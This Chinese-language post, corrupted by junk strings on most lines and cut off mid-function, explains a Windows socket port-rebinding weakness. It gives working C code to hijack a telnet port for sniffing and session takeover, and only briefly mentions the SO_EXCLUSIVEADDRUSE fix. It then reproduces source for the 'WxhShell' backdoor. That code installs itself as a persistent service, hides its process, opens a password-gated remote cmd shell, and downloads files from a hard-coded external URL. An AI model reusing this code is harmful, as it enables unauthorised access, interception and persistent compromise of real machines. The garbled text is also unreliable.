在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6o5NeKZ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Mh=yIx</ ~Q+E" " saddr.sin_family = AF_INET;
m|')
A d4ga6N3' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(Q]Ww_r~ ?-Qq\D^+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
f|v5itO2 v}cTS@0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Wg!<V6} 539fB, 这意味着什么?意味着可以进行如下的攻击:
ff;9P5X `4SwdW n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~=P#7l\o1 z|M+
FHl$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
La2f]+sV /f*QxNZ,p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
htuYctu` #Dz. 58A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
g[c_rty
K^ 5f
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*Cj<Vy LJgGX,Kp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
gLss2i.r A{ a4;`}5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
I^GZ9@UE @e#{Sm #include
r}\m%(i #include
oypF0?!m #include
O>@ChQF #include
TFZxk DWORD WINAPI ClientThread(LPVOID lpParam);
\S_o{0ZY} int main()
'QdDXw5o {
MqAN~<l [ WORD wVersionRequested;
@hF$qevX DWORD ret;
hnnVp_<] WSADATA wsaData;
oFi_
op BOOL val;
v.6K;TY. SOCKADDR_IN saddr;
0: Nw8J SOCKADDR_IN scaddr;
mVd%sWD int err;
8b:GyC5L SOCKET s;
XY,!vLjL SOCKET sc;
l+#uQo6cqQ int caddsize;
GUps\:ss HANDLE mt;
veAdk9 DWORD tid;
E#~J"9k98 wVersionRequested = MAKEWORD( 2, 2 );
_Wtwh0[r* err = WSAStartup( wVersionRequested, &wsaData );
<xlyk/ if ( err != 0 ) {
V`4/oM` printf("error!WSAStartup failed!\n");
3z0%uY[e return -1;
':7gYP*v }
> ofWHl[- saddr.sin_family = AF_INET;
cS%;JV>C
J(5#fo{Q.g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ncpNesB Oh3A?!y# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!>?*gc.< saddr.sin_port = htons(23);
R9-Uoc/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'd]t@[# {
bl-D{)X printf("error!socket failed!\n");
1oI2 return -1;
b/d1(B@ }
T*%O\&'r val = TRUE;
ap<r)<u //SO_REUSEADDR选项就是可以实现端口重绑定的
;0o%
hx if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
m#^;V {
z:;yx printf("error!setsockopt failed!\n");
MxqIB(5k return -1;
;+*/YTkC+P }
;NF:98 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
};g<|v*o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6GoQJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#kgLdd" \s6VOR/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%?BygG {
i7mo89S ret=GetLastError();
p2hPLq printf("error!bind failed!\n");
x$z>.4 return -1;
9?uU%9r5P }
a>&dAo} listen(s,2);
Yv3P]6c. while(1)
PY#_$ C {
SP;1XXlL caddsize = sizeof(scaddr);
-YS9u[
//接受连接请求
W^i[7 r sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
h>A~yDT[ if(sc!=INVALID_SOCKET)
!O4)YM {
h#Z~x mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
jP.dQj^j& if(mt==NULL)
<CWOx&hr {
!?z"d printf("Thread Creat Failed!\n");
R]l2,0: break;
-HRa6 }
f%yNq6l }
2tS,q_-= CloseHandle(mt);
vBV_aB1{ }
>gDKkeLD closesocket(s);
'`&b1Rc WSACleanup();
\"P$*y4Le return 0;
=00sB }
^xq)Q?[{ DWORD WINAPI ClientThread(LPVOID lpParam)
Sc:)H2k`$ {
:H/Rhx= SOCKET ss = (SOCKET)lpParam;
M&KJZ SOCKET sc;
e!w#{</8Q unsigned char buf[4096];
&(NW_<( SOCKADDR_IN saddr;
q*}$1 zb long num;
&H%z1Lp DWORD val;
7b(r'b@N DWORD ret;
@eP(j@(^ //如果是隐藏端口应用的话,可以在此处加一些判断
{*X|)nr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
2
;Q|h$n saddr.sin_family = AF_INET;
nMOXy\&mI saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
X(Lz&fkd saddr.sin_port = htons(23);
ooj^Z%9P if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_8wT4|z5 {
X3l6b+p printf("error!socket failed!\n");
*s?C\)x return -1;
hmI>
7@& }
pEY zB; val = 100;
Fyc":{Jd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<q=]n%nX {
9Yji34eDZ ret = GetLastError();
b7HT<$Wg return -1;
wpOM~!9R }
9w-;d=(Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'E cd\p {
rji<g>GQ ret = GetLastError();
vH@b return -1;
1r<'&f5 }
Rc}#4pM8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
<H|]^An!H {
UbP$WIrq printf("error!socket connect failed!\n");
hmv*IF. closesocket(sc);
BWzo|isv closesocket(ss);
N._^\FRyn return -1;
[L?WM>]% }
c/,B ? while(1)
_J0(GuG=~ {
C{YTHNn //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!{XVaQ?x //如果是嗅探内容的话,可以再此处进行内容分析和记录
$
3R5p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Jg@eGs\* num = recv(ss,buf,4096,0);
Fb^,%K: if(num>0)
uC"Gm;0 send(sc,buf,num,0);
JgB"N/Oz else if(num==0)
D}?JX5. break;
f4^\iZ{`G num = recv(sc,buf,4096,0);
Rc~63![O. if(num>0)
"=UhTE send(ss,buf,num,0);
p:Zhg{sF else if(num==0)
y9K'(/ break;
*m&(h@l }
k'K 1zUBj closesocket(ss);
?8$h%Ov- closesocket(sc);
O_Z return 0 ;
eit %U }
sB<y(}u
CjU?3Ag z_87;y;= ==========================================================
8LlWXeD9 yu=(m~KX
下边附上一个代码,,WXhSHELL
8&v%>wxR@ [?F]S:/i ==========================================================
h\*I*I8C TL([hR _
#include "stdafx.h"
d0-T\\U g y1i% #include <stdio.h>
s@|TQ9e |j #include <string.h>
c4L++
u# #include <windows.h>
;V4f6[<]'z #include <winsock2.h>
*vu #include <winsvc.h>
G4)X~.Fy #include <urlmon.h>
<O]B'Wc [ r#WAS2.TP #pragma comment (lib, "Ws2_32.lib")
CI@qT}Y_ #pragma comment (lib, "urlmon.lib")
W.
p'T}2 jUy$aGX #define MAX_USER 100 // 最大客户端连接数
/7Ft1f #define BUF_SOCK 200 // sock buffer
Nrk/_0^ #define KEY_BUFF 255 // 输入 buffer
K?acRi |1Pi`^ #define REBOOT 0 // 重启
S{c;n*xf #define SHUTDOWN 1 // 关机
&BQ%df<y\ Iih]q #define DEF_PORT 5000 // 监听端口
Dhp|%_> of?0 y-LT% #define REG_LEN 16 // 注册表键长度
JiCy77H #define SVC_LEN 80 // NT服务名长度
y`-5/4 VHTr;(]hk // 从dll定义API
!7aJfs2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[Xo}CU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
bGa"r typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g(F? qP_K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|iB
svI: ;U$EM+9 // wxhshell配置信息
kK$*,]iCp struct WSCFG {
m6M:l"u int ws_port; // 监听端口
mL[Y{t#N char ws_passstr[REG_LEN]; // 口令
k>q}: J9V int ws_autoins; // 安装标记, 1=yes 0=no
qI#ow_lL# char ws_regname[REG_LEN]; // 注册表键名
;gNoiAxW char ws_svcname[REG_LEN]; // 服务名
$yg=tWk char ws_svcdisp[SVC_LEN]; // 服务显示名
\]+57^8r char ws_svcdesc[SVC_LEN]; // 服务描述信息
<P4*7:jX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
LX_{39?<{ int ws_downexe; // 下载执行标记, 1=yes 0=no
rE&+fSBD char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JW-!m8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
O)Mf/P' @O%d2bgEWV };
dw]wQ\4B BbdJR]N/!h // default Wxhshell configuration
ccu13Kr>E struct WSCFG wscfg={DEF_PORT,
njN]0l{p "xuhuanlingzhe",
~^R?H S 1,
aR~Od Ys "Wxhshell",
<OC|z3na_ "Wxhshell",
/)E'%/"A "WxhShell Service",
:[ AP^ "Wrsky Windows CmdShell Service",
lYMNx|PF "Please Input Your Password: ",
C#A\Rfi 1,
@*rED6zH "
http://www.wrsky.com/wxhshell.exe",
Nu%:7 "Wxhshell.exe"
c@1q8, };
mv+K!T6 O#5ll2? // 消息定义模块
p>@S61
&
[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Y?>us char *msg_ws_prompt="\n\r? for help\n\r#>";
j |tu|Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
U.B=%S char *msg_ws_ext="\n\rExit.";
p!~{<s] char *msg_ws_end="\n\rQuit.";
%g<J"/ char *msg_ws_boot="\n\rReboot...";
Y[yw8a char *msg_ws_poff="\n\rShutdown...";
BLvI[b|3gn char *msg_ws_down="\n\rSave to ";
ToB^/
n[ 6Q6l?!|W4 char *msg_ws_err="\n\rErr!";
i!=28|_ char *msg_ws_ok="\n\rOK!";
khW9n* P6E=*^^m( char ExeFile[MAX_PATH];
F}lgy;=h int nUser = 0;
#Rkld v' HANDLE handles[MAX_USER];
b:iZ.I int OsIsNt;
Bw[jrK iC{~~W6 SERVICE_STATUS serviceStatus;
$.z~bmH"D SERVICE_STATUS_HANDLE hServiceStatusHandle;
h!*++Y?&0 %YaUc{.% // 函数声明
v0dFP0.;& int Install(void);
]/+qM)F int Uninstall(void);
w$5N6 int DownloadFile(char *sURL, SOCKET wsh);
#NVqS5 int Boot(int flag);
F)0I7+lP void HideProc(void);
Rro{A+[,X int GetOsVer(void);
q-.e9eoc\ int Wxhshell(SOCKET wsl);
a*pZcv< void TalkWithClient(void *cs);
K+` Vn int CmdShell(SOCKET sock);
t|X |67W int StartFromService(void);
rI:KZ}GZ int StartWxhshell(LPSTR lpCmdLine);
{tE/Jv $ _e.b#{=9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sK:,c5^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
xX'Uq_Jv @Y>3 -,o,S // 数据结构和表定义
wE75HE`gW SERVICE_TABLE_ENTRY DispatchTable[] =
\ooqa<_ {
H&L=WF+x {wscfg.ws_svcname, NTServiceMain},
a{h(BI^~ {NULL, NULL}
\QUvImT };
ru`;cXa, zJMKgw,i* // 自我安装
1V`]sfRK int Install(void)
skcMGEB {
&1Fcwj char svExeFile[MAX_PATH];
|Z;wk& HKEY key;
B>?Y("E strcpy(svExeFile,ExeFile);
1A-8,) +29;T0>a // 如果是win9x系统,修改注册表设为自启动
fC3IxlG if(!OsIsNt) {
0iXqAa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1TQ$(bI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
LbR/it'} RegCloseKey(key);
)C2d)(baEJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T *t$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
):78GVp RegCloseKey(key);
g}^/8rW return 0;
Xs?7Whc6 }
A?}OOjA }
0h shHv- }
GP1>h.J else {
ap%o\&T; 0acY@_ // 如果是NT以上系统,安装为系统服务
@?]-5 ~3; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
J#V`W&\,6 if (schSCManager!=0)
3n:<oOV {
Rg[e~## SC_HANDLE schService = CreateService
oZCi_g 5i (
9_>4~!x` schSCManager,
Y(SI`Xo[ wscfg.ws_svcname,
,t+ATaOF wscfg.ws_svcdisp,
,IJ Nuu\ SERVICE_ALL_ACCESS,
_SP
u`=~K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
8&C(0H]1 SERVICE_AUTO_START,
H4:TYh SERVICE_ERROR_NORMAL,
.sG,TLE[< svExeFile,
#8z\i2I NULL,
BWPYHWW}E NULL,
*>'R
R< NULL,
>Ed^dsb& NULL,
Zj7XmkL NULL
5nj~RUK );
&vF "I'V if (schService!=0)
>(*jbL]p {
kx=AX*I CloseServiceHandle(schService);
;Z`)*TRp4 CloseServiceHandle(schSCManager);
{f&ga strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;:e,C@Fm strcat(svExeFile,wscfg.ws_svcname);
.E}});l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
U KJY.W!w4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\fKE~61 RegCloseKey(key);
ZkIQ-;wx return 0;
_[phs06A }
6+u'Tcb }
$F-XXBp CloseServiceHandle(schSCManager);
F:@Ixk?E }
piG1&* }
^"l$p,P+ Zb}PP;O return 1;
<di_2hN }
+n, BD C; jwq"B$ap // 自我卸载
709eLhXrH int Uninstall(void)
mCGcM^21-x {
qc6IH9i` HKEY key;
~ tLR h0
Sf=[>z if(!OsIsNt) {
g=C<E2'i* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-"zu"H~t4 RegDeleteValue(key,wscfg.ws_regname);
6b/b}vl RegCloseKey(key);
]1&9~TL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K|G$s RegDeleteValue(key,wscfg.ws_regname);
[j?<9 RegCloseKey(key);
HUC2RM?FN return 0;
%-l:_A }
OD]J@m }
\Wc/kY3& }
doc else {
AuTplO0_rE 5gD)2Q6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.dCP8| if (schSCManager!=0)
/ D ]B {
4QFOO
sNp SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3~</lAm; if (schService!=0)
FA9e(Ha {
SSLshY~d if(DeleteService(schService)!=0) {
f hG2 CloseServiceHandle(schService);
d5y2Y/QO CloseServiceHandle(schSCManager);
ennz/' return 0;
%-/:ps }
O{#Cddt:r CloseServiceHandle(schService);
\hW73a! }
uS#Cb+*F CloseServiceHandle(schSCManager);
8MeXVhM }
rp#*uV9; }
`_U0>Bfg; THgzT\_zq return 1;
^Cn]+0G#C8 }
!*Z)[[ ev%t5NZ // 从指定url下载文件
b*F~%K^i$ int DownloadFile(char *sURL, SOCKET wsh)
sLa)~To {
L*01l"5 HRESULT hr;
wT~;tOw~ char seps[]= "/";
sQAc"S char *token;
T{4fa^c2J char *file;
_@pf1d$
char myURL[MAX_PATH];
B"8JFf}"q char myFILE[MAX_PATH];
Z*(!`,.bB 5m USh3 strcpy(myURL,sURL);
`V):V4!j), token=strtok(myURL,seps);
"8iiRzt# while(token!=NULL)
VgsCwJ9w {
|z|)r"*\4 file=token;
|@L &yg,x token=strtok(NULL,seps);
H"GE\ }
O<Sc.@~ k3/JQ]'D GetCurrentDirectory(MAX_PATH,myFILE);
f+TBs_ strcat(myFILE, "\\");
Hrg=sR strcat(myFILE, file);
e|5B1rMM send(wsh,myFILE,strlen(myFILE),0);
"o# )vA` send(wsh,"...",3,0);
'x,GI\;? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XJlDiBs9=Q if(hr==S_OK)
b!5tFX;J return 0;
X:SzkkVl7 else
gc2|V6( return 1;
o eJC K jn& }
? W2I1HEy (m3I#L // 系统电源模块
U8QR*"GmT int Boot(int flag)
iVpA@p {
0(U3~k6 HANDLE hToken;
Ca5Sc, no TOKEN_PRIVILEGES tkp;
k$0|^GL8 K+7yUF8XP if(OsIsNt) {
q(&^9" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ndKvJH 4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?`T6CRZhr tkp.PrivilegeCount = 1;
@wB'3q}( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,p*ntj{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~E3SC@KL if(flag==REBOOT) {
`hK>bHj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
36^C0uNdX return 0;
MgH1d&R }
M\y~0uZ else {
J:~[j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
l?@MUsg+ return 0;
qUEd
E`B }
J I+KS }
j h1 bn else {
$K6?(x_ if(flag==REBOOT) {
i)@U.-*5m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j1;_w return 0;
cYq']$] }
xJ=ZQ)&] else {
;l/}Or2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
y(/jTS/hd return 0;
kwDh|K }
Giy3eva2 }
]/ZA/:Oa+ pIZLGsu[ return 1;
,<0Rf }
}J+ce {2}tPT[a( // win9x进程隐藏模块
Tsm)&$JI8 void HideProc(void)
vi[#?;pkF {
Gsds!z$ pgz:F#> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#;\L,a|>* if ( hKernel != NULL )
P[Y{LKAbb {
O3^98n2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u"`5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
A0cM(w{7_ FreeLibrary(hKernel);
^3Z7dIUww }
l?[{?Luq %+AS0 JhB return;
\GijNn9ah }
;,v!7 _-4n~( // 获取操作系统版本
:0
W6uFNOU int GetOsVer(void)
jgk{'_ j {
-kG3k> by_ OSVERSIONINFO winfo;
]4Nvh\/P9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
/_NkB$& GetVersionEx(&winfo);
BKa A=Bl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
G*kE~s9R
return 1;
6@"Vqm|HD else
o\_
Td return 0;
Hnfvo*6d.e }
e%PCe9 7[ZkM+z! // 客户端句柄模块
.yZK.[x4 int Wxhshell(SOCKET wsl)
7ZS>1 {
B1|?RfCe SOCKET wsh;
8B}'\e4i struct sockaddr_in client;
4a\n4KO X DWORD myID;
^36M0h|R 5,F;j<F while(nUser<MAX_USER)
~Y\QGuT {
eeZIa`.sX int nSize=sizeof(client);
p@#]mVJ>9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*
eA{[ if(wsh==INVALID_SOCKET) return 1;
t[%x}0FP-F X7e>Z)l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6kP7 if(handles[nUser]==0)
}$^]dn@ closesocket(wsh);
:9(3h" else
?lF mXZy` nUser++;
aL88E
}
f_oq1 W)9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[:Be[pLC - oU@D return 0;
| @uq() }
Y
[4vRzc a@Mq J=<L // 关闭 socket
(RExV?: void CloseIt(SOCKET wsh)
L{!ihJr {
F|,6N/;!W closesocket(wsh);
_Q>
"\_, nUser--;
GaHA% ExitThread(0);
BlL|s=dlQV }
nHnk#SAAu FQ U\0<5 // 客户端请求句柄
i[PvDv"n void TalkWithClient(void *cs)
5bXHz5i {
`Uv)Sf{ h(_P9E[g SOCKET wsh=(SOCKET)cs;
,`yyR:F char pwd[SVC_LEN];
9WOu8Ia char cmd[KEY_BUFF];
D@#0 dDT char chr[1];
l"kxr96 int i,j;
{>/)5AGs R'L?Xn}3 while (nUser < MAX_USER) {
R0vww_fz m*`cuSU|o if(wscfg.ws_passstr) {
-xz|ayn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<>]1Y$^Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
IJ0#iA. T //ZeroMemory(pwd,KEY_BUFF);
RE 9nU%! i=0;
xkM] J)C while(i<SVC_LEN) {
,7<DGI_y Q{[@`bZB // 设置超时
_|X7
n~ fd_set FdRead;
;Xyte struct timeval TimeOut;
|:N>8%@6c FD_ZERO(&FdRead);
9s(i`RTM FD_SET(wsh,&FdRead);
JD ]OIh TimeOut.tv_sec=8;
yc[(lq.^n TimeOut.tv_usec=0;
;T>+, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(')(d
HHW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
h8jB=e, H Ny^'IUu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>fH*XP>( pwd
=chr[0]; 0cFn{q'u
if(chr[0]==0xd || chr[0]==0xa) { 3{e'YD~hP
pwd=0; > ws!5q
break; j=9ze op
%
} =m9 i)Q
i++; H2U:@.o2&
} RLHYw@-j@
UOt8Q0)}
// 如果是非法用户,关闭 socket krjN7&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4H-j
.|e
} "r. .
LG&5VxT=,<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;&
|qSa'
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kiX%3(
,{8v4b-
while(1) { [7.agI@=
7$7n71o
ZeroMemory(cmd,KEY_BUFF);
\bold"
NR3`M?Hjf
// 自动支持客户端 telnet标准 6t7fa<
j=0; b\giJ1NJB
while(j<KEY_BUFF) { ,Sg33N?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lhO2'#]i
cmd[j]=chr[0]; Qxt@V
if(chr[0]==0xa || chr[0]==0xd) { sS9%3i/>
cmd[j]=0; WYszk ,E
break; ]JMl|e
} Jhy(x1%
j++; 9/kXc4
} qyyq&
;Z9IZ~
// 下载文件 C-w5KW
if(strstr(cmd,"http://")) { -5k2j^r;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9 Cvn6{
if(DownloadFile(cmd,wsh)) c1%rV`)]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fo}7hab
else x_!ZycEa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wC`
R>)
} A5nO=
else { 4l @)K9F
'Cc(3
switch(cmd[0]) { ROdK8*jL
+iA=y=;blH
// 帮助 ; Lql_1
case '?': { _0(7GE13p
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -JV~[-,
break; HOZRYIQB
} ,Z~;U
// 安装 TH?9< C-C
case 'i': { k;Fh4Hv
if(Install()) L1#Ij#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b,<9
else nE|@IGH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J4aBPq`
break; KQ`=t
} G>z,#Xt
// 卸载 %b}gDWs
case 'r': { =Ho"N`Qy
if(Uninstall()) h(' )"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }!s!;BOx
else XL5Es:"+?S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %2l7Hmp4H
break; RBGX_v?
} tE"Si<[]H$
// 显示 wxhshell 所在路径 ]v 29 Rx
case 'p': { 'Kbl3fUF
char svExeFile[MAX_PATH]; G|u3UhyB
strcpy(svExeFile,"\n\r"); yR71%]*.
strcat(svExeFile,ExeFile); [L~@uAMw:
send(wsh,svExeFile,strlen(svExeFile),0); :Vuf6,
break; lU2c_4
} KMK`F{
// 重启 E]} n(
case 'b': { @aG&n(.!u*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ktH8as^54!
if(Boot(REBOOT)) M>H=z#C>/A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+"r~#K*
else { /^7iZ|>:M:
closesocket(wsh); s(2GFc
ExitThread(0); ,^'R_efY
} MXvXVhCU
break; |M~ON=
} Ff4*IOZ}(
// 关机 Q(@IK&v
case 'd': { (9RslvKL
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F[`ZqW
if(Boot(SHUTDOWN)) i+vsp@d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F
# YPOH
else { eiMH['X5
closesocket(wsh); @,H9zrjVFZ
ExitThread(0); f-RK,#^?,
} ,/Cq
v
break; 'c`jyn
} LXfCmc9|Z
// 获取shell =hH.zrI6e
case 's': { )@g;j>
CmdShell(wsh); \NL+}cL/
closesocket(wsh); L2z2}U=<
ExitThread(0); h3G.EM:eG
break; dE=Ue#1U@5
} Qo0H
// 退出 lX!`zy{3k
case 'x': { $p* p
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O/Y)&VG7
CloseIt(wsh); z4U9n'{
break; M#jN-ix
} Q=cQLf;/'
// 离开 C;B}3g&
case 'q': { ?w&SW{ I
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \}]iS C.2
closesocket(wsh); QBJ3iQs1
WSACleanup(); _%@=Uc6V
exit(1);
\' li
break; y }2F9=
} -7]Xjb5
} M^madx6`
} Xh+ia#K
YoODR
// 提示信息 j5
wRGn3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \k8rxW
} ^U7OMl4Usq
} Wa"(m*hW
g^>#^rLU
return; GR4?BuY,
} i, n D5@#
$6>?;
// shell模块句柄 [Gr*,nVvB
int CmdShell(SOCKET sock) tJI,r_
{ h rN%
STARTUPINFO si; ?>uew^$d[w
ZeroMemory(&si,sizeof(si)); |01?w |
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pb;")Q'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =d;Vk
PROCESS_INFORMATION ProcessInfo; "i)Yvh[y
char cmdline[]="cmd"; mXWTm%'[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &x:JD1T}
return 0; vxlOh.a|/L
} -C7 FuD[Xw
%kI}
[6J_
// 自身启动模式 N> Jw
int StartFromService(void) obClBO)@Y
{ .5HQ
typedef struct !%L,*'
{ ENh8kD
l5
DWORD ExitStatus; eH>#6R1-
DWORD PebBaseAddress; %uESrc-;
DWORD AffinityMask; ;]D(33)(
DWORD BasePriority; D}mL7d1
ULONG UniqueProcessId; |lQ;ALH!
ULONG InheritedFromUniqueProcessId; d 4{FDqto
